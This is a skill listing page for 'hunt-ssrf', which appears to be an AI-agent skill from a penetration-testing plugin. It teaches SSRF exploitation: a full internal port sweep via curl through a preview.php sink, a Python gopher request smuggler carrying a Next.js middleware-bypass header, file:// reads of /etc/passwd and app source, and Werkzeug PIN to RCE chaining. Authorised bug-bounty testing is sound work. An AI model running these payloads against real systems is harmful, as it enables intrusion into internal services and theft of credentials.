Skip to content
Security
Skill

/hunt-ssrf

SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

BOOST
From plugin
torch
33356 skills
Install
$ npx -y skills add Encod3d-Sec/TORCH --skill hunt-ssrf --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/hunt-ssrf

Context preview

The summary Claude sees to decide when to auto-load this skill.

SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

SKILL.md

hunt-ssrf.SKILL.md
name: hunt-ssrf
description: SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

Hunt: SSRF

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: `wiki/payloads/ssrf.md`. Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist), [[open-redirect]] (chain a trusted redirect to an internal target).

Confirmation gate

**Blind SSRF claims require OOB confirmation. No exceptions.**

NOT confirmation: URL echo in error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain.

When you plant a blind/OOB SSRF payload, append a row to `targets/<eng>/oob.md`: `| <token> | <sink url+param> | ssrf | <date> | waiting | |` (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row.

Setup OOB before testing (full channel guide: wiki `oob-callbacks` - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):

interactsh-client -v   # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>

Attack Surface Signals

URL patterns:

?url=  ?uri=  ?src=  ?source=  ?feed=  ?host=  ?target=  ?dest=
?redirect=  ?callback=  ?image=  ?fetch=  ?load=  ?endpoint=
/api/*/preview  /api/*/fetch  /api/*/import  /api/*/webhook  /api/*/render

High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines.

**Check SCHEME control EARLY (before grinding host/port bypasses).** If the sink concatenates your input as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl `setopt(URL, server + '/path')`, `requests.get(host+path)`; tell: the default value has no `http://`, like `server=host:8087`), you control the scheme, not just the host -> try `file:///etc/passwd` and `file:///<app-source>` for a straight **LFI**, and `gopher://` for internal TCP. The moment `file://` reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/ auth/next-steps faster than any probing, and on Flask `debug=True` a file-read computes the console PIN -> RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".

Once outbound is confirmed: ENUMERATE INTERNAL FIRST (do not skip)

An internal-only service is the usual SSRF objective and it is **invisible to your external nmap**, so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep `127.0.0.1` ports THROUGH the sink and fingerprint everything that answers:

export T=<target>
# non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a
# scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead
# of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"'
  • **Sweep wide.** "Common ports only" misses the box: THM Extract hid its objective (a Next.js app)

on internal **:10000**. Threaded drop-in + curated high-value ports in [[wiki/payloads/ssrf]] payloads.

  • **Fingerprint each internal service and run it through `playbook.json` / the matching hunt skill

exactly as if it were external** (`<title>`, `Server` / `x-powered-by`, `/_next/static` -> Next.js -> CVE-2025-29927, `/solr`, `/actuator`, Jenkins, GitLab...). recon-capture only fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook - you must apply it by hand. **This is exactly where internal CVEs get missed.**

Gopher: send what `?url=` cannot

A plain `?url=` fetch issues a fixed `GET` with no control over method/headers/cookies/body. Many internal exploits need precisely that control. `gopher://host:port/_<raw-bytes>` makes the sink open a raw TCP socket and send arbitrary bytes - a full HTTP request you craft:

import urllib.parse, subprocess
T="<target>"
def gopher(raw: bytes, port: int):                       # raw = the complete request you build
    sel=''.join('%%%02X'%b for b in raw)                 # percent-encode bytes -> gopher selector
    g='gopher://127.0.0.1:%d/_%s'%(port, sel)
    return subprocess.run(['curl','-s','-m','10',
        'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))],   # encode again for ?url=
        capture_output=True).stdout
req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n'

Unlocks: **custom headers for header-based CVEs** (Next.js CVE-2025-29927 `x-middleware-subrequest`), **HTTP Basic auth** (`Authorization: Basic`), **POST logins**, **forged cookies** (serialized-object / JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full `send(method,path,headers,cookie,body)` builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not `file://`.

Methodology

1. Map all URL-input parameters across the target 2. Set up OOB listener, sub-tag per sink 3. S

Read more
Ships withtorch

An AI-powered penetration testing and bug-bounty knowledge base and automation harness for Claude Code.

Get the whole plugin

Other skills on torch.

hunt-burp
Skill

hunt-burp

Drive Burp Suite over its MCP server as an AI triage + attack layer - review proxy history for signals, replay via Repeater/send,…

hunt-ad
Skill

hunt-ad

Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS…

hunt-api
Skill

hunt-api

API attack hunting (REST / GraphQL / gRPC) - BOLA/IDOR, BFLA, mass assignment, excessive data exposure, auth/JWT, introspection +…